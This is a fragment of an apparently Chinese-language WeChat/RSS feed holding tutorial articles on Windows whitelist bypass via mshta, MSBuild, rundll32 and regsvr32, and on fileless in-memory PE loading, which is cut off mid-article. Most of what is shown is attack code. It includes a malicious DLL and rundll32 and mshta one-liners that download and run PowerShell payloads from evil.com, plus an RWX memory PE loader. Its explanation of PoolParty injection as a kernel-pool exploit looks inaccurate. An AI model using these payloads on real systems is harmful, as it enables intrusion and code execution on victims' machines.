0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">Mshta：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">mshta <a href="http://evil.com/malicious.hta" target="_blank">http://evil.com/malicious.hta</a></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">Msbuild：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">Project</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">ToolsVersion</span></span><span leaf="">=</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;4.0&#34;</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">xmlns</span></span><span leaf="">=</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;<a href="http://schemas.microsoft.com/developer/msbuild/2003" target="_blank">http://schemas.microsoft.com/developer/msbuild/2003</a>&#34;</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">Target</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">Name</span></span><span leaf="">=</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;Build&#34;</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">Exec</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">Command</span></span><span leaf="">=</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;cmd.exe /c malicious_command&#34;</span></span><span leaf=""> /&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">Target</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">Project</span></span><span leaf="">&gt;</span></span></code></pre><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.3 实战案例分析</span></span></h3><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.3.1 案例1：使用rundll32.exe执行恶意DLL</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">攻击场景：</span></strong><span leaf="">攻击者需要执行恶意DLL，但需要绕过应用程序白名单。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">攻击过程：</span></strong></p><ol style="list-style-type: decimal;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><div style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><p style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">创建恶意DLL</span></strong></p><pre style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;color: rgb(30, 107, 184);line-height: 1.8em;letter-spacing: 0em;width: auto;margin: 0px 2px;padding: 15px 4px 2px;border-style: none;border-width: 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);overflow-wrap: break-word;word-break: break-all;background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf="">// malicious.dll</span></span><span leaf=""><br/></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&lt;windows.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf="">// 导出函数供rundll32调用</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">extern</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;C&#34;</span></span><span leaf=""> __declspec(dllexport) </span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">void</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">EntryPoint</span></span><span style="line-height: 26px;"><span leaf="">(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">int</span></span><span leaf=""> nCmdShow)</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf="">// 执行恶意操作</span></span><span leaf=""><br/></span><span leaf="">    MessageBoxA(</span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;Malicious code executed!&#34;</span></span><span leaf="">, </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;rundll32&#34;</span></span><span leaf="">, MB_OK);</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf="">// 下载并执行后续载荷</span></span><span leaf=""><br/></span><span leaf="">    system(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;powershell -c \&#34;IEX (New-Object Net.WebClient).DownloadString(&#39;<a href="http://evil.com/payload.ps1" target="_blank">http://evil.com/payload.ps1</a>&#39;)\&#34;&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">BOOL APIENTRY </span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">DllMain</span></span><span style="line-height: 26px;"><span leaf="">(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> TRUE;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><p style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">使用rundll32执行</span></strong></p><pre style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;color: rgb(30, 107, 184);line-height: 1.8em;letter-spacing: 0em;width: auto;margin: 0px 2px;padding: 15px 4px 2px;border-style: none;border-width: 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);overflow-wrap: break-word;word-break: break-all;background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 方法1：直接执行本地DLL</span></span><span leaf=""><br/></span><span leaf="">rundll32.exe C:\malicious.dll,EntryPoint</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 方法2：从网络加载DLL（需要SMB共享）</span></span><span leaf=""><br/></span><span leaf="">rundll32.exe \\evil.com\share\malicious.dll,EntryPoint</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 方法3：使用JavaScript执行</span></span><span leaf=""><br/></span><span leaf="">rundll32.exe javascript:</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;\..\mshtml,RunHTMLApplication&#34;</span></span><span leaf="">;document.write();new%20ActiveXObject(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;WScript.Shell&#34;</span></span><span leaf="">).Run(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;powershell -c IEX (New-Object Net.WebClient).DownloadString(&#39;<a href="http://evil.com/payload.ps1" target="_blank">http://evil.com/payload.ps1</a>&#39;)&#34;</span></span><span leaf="">);</span></code></pre></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><p style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">验证执行</span></strong></p><pre style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;color: rgb(30, 107, 184);line-height: 1.8em;letter-spacing: 0em;width: auto;margin: 0px 2px;padding: 15px 4px 2px;border-style: none;border-width: 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);overflow-wrap: break-word;word-break: break-all;background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf=""># 检查rundll32进程</span><span leaf=""><br/></span><span leaf="">Get-Process rundll32 | Select-Object Id, ProcessName, Path</span><span leaf=""><br/></span><span leaf=""># 检查命令行参数</span><span leaf=""><br/></span><span leaf="">Get-WmiObject Win32_Process -Filter &#34;Name=&#39;rundll32.exe&#39;&#34; | Select-Object CommandLine</span></code></pre></div></li></ol><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">检测结果：</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">rundll32.exe成功加载恶意DLL</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">恶意代码在rundll32.exe进程中执行</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">EDR可能检测到异常的DLL加载</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">经验教训：</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">rundll32.exe是合法的系统工具</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">需要监控rundll32的命令行参数</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">容易被行为分析检测</span></p></li></ul><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.3.2 案例2：使用regsvr32.exe绕过应用程序白名单</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">攻击场景：</span></strong><span leaf="">攻击者需要绕过应用程序白名单，执行恶意代码。</span></p><p class="js_pay_preview_filter"><mp-pay-preview-filter data-offset="81"></mp-pay-preview-filter></p></div>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=14ab3df8&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4ODEyODA3MQ%3D%3D%26mid%3D2247496613%26idx%3D1%26sn%3Da62d229f9ed405bacd639764c4d481e1">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 27 Mar 2026 08:31:00 +0800</pubDate>
    </item>
    <item>
      <title>内存执行技术——无文件攻击的核心</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4ODEyODA3MQ==&amp;mid=2247496612&amp;idx=1&amp;sn=eb8e6cbcc52e32b1a4e921d301b2a5fc</link>
      <description>一、前言概述内存执行技术是指将恶意代码直接加载到内存中执行，而不写入磁盘，以规避基于文件的检测。</description>
      <content:encoded><![CDATA[<p>原创 <span>pandazhengzheng</span> <span>2026-03-26 08:31</span> <span style="display: inline-block;">广东</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=2091072c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FM5H82XuSHY7oobuT6ov1vc012KZ1ic5Srb74ygebhm8WEF0obPAicK5ERnDwuVeglVEfLXuicUcoJc5haoGtxWuqtiak1RRhUOeMFbItYEKHGwM%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h2 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">一、前言概述</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">内存执行技术是指将恶意代码直接加载到内存中执行，而不写入磁盘，以规避基于文件的检测。本课将深入介绍内存加载PE、PoolParty注入和无文件攻击技术。</span></p><h2 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">二、相关内容</span></span></h2><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.1 内存执行技术概述</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">主要技术：</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">内存加载PE（In-Memory PE Loading）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">Shellcode执行</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">PoolParty注入</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">无文件攻击</span></p></li></ul><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2 内存加载PE（In-Memory PE Loading）</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">原理：</span></strong><span leaf="">将PE文件直接加载到内存中执行，而不写入磁盘，需要手动模拟Windows加载器的工作。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">PE加载过程：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">1. 读取PE文件到内存</span><span leaf=""><br/></span><span leaf="">2. 解析PE头</span><span leaf=""><br/></span><span leaf="">3. 分配内存</span><span leaf=""><br/></span><span leaf="">4. 映射节区</span><span leaf=""><br/></span><span leaf="">5. 处理重定位</span><span leaf=""><br/></span><span leaf="">6. 解析导入表</span><span leaf=""><br/></span><span leaf="">7. 调用入口点</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">代码实现：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">void</span></span><span leaf="">* </span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">LoadPEInMemory</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">unsigned</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">char</span></span><span leaf="">* peData)</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)peData;</span><span leaf=""><br/></span><span leaf="">    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(peData + dosHeader-&gt;e_lfanew);</span><span leaf=""><br/></span><span leaf="">    LPVOID baseAddress = VirtualAlloc(</span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, ntHeaders-&gt;OptionalHeader.SizeOfImage,</span><span leaf=""><br/></span><span leaf="">                                       MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);</span><span leaf=""><br/></span><span style="color: rgb(230, 192, 123);line-height: 26px;"><span leaf="">memcpy</span></span><span leaf="">(baseAddress, peData, ntHeaders-&gt;OptionalHeader.SizeOfHeaders);</span><span leaf=""><br/></span><span leaf="">    PIMAGE_SECTION_HEADER sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">int</span></span><span leaf=""> i = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">; i &lt; ntHeaders-&gt;FileHeader.NumberOfSections; i++) {</span><span leaf=""><br/></span><span leaf="">        LPVOID sectionDest = (LPVOID)((DWORD64)baseAddress + sectionHeader[i].VirtualAddress);</span><span leaf=""><br/></span><span leaf="">        LPVOID sectionSrc = (LPVOID)(peData + sectionHeader[i].PointerToRawData);</span><span leaf=""><br/></span><span style="color: rgb(230, 192, 123);line-height: 26px;"><span leaf="">memcpy</span></span><span leaf="">(sectionDest, sectionSrc, sectionHeader[i].SizeOfRawData);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf="">// 处理重定位和导入表...</span></span><span leaf=""><br/></span><span leaf="">    DLLMAIN entryPoint = (DLLMAIN)((DWORD64)baseAddress + ntHeaders-&gt;OptionalHeader.AddressOfEntryPoint);</span><span leaf=""><br/></span><span leaf="">    entryPoint((HINSTANCE)baseAddress, DLL_PROCESS_ATTACH, </span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> baseAddress;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.3 PoolParty注入</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">原理：</span></strong><span leaf="">利用Windows内核池（Kernel Pool）的内存管理漏洞进行注入，通过操纵内核池的内存分配，可以在目标进程中执行代码。</span></p><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.4 无文件攻击技术</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 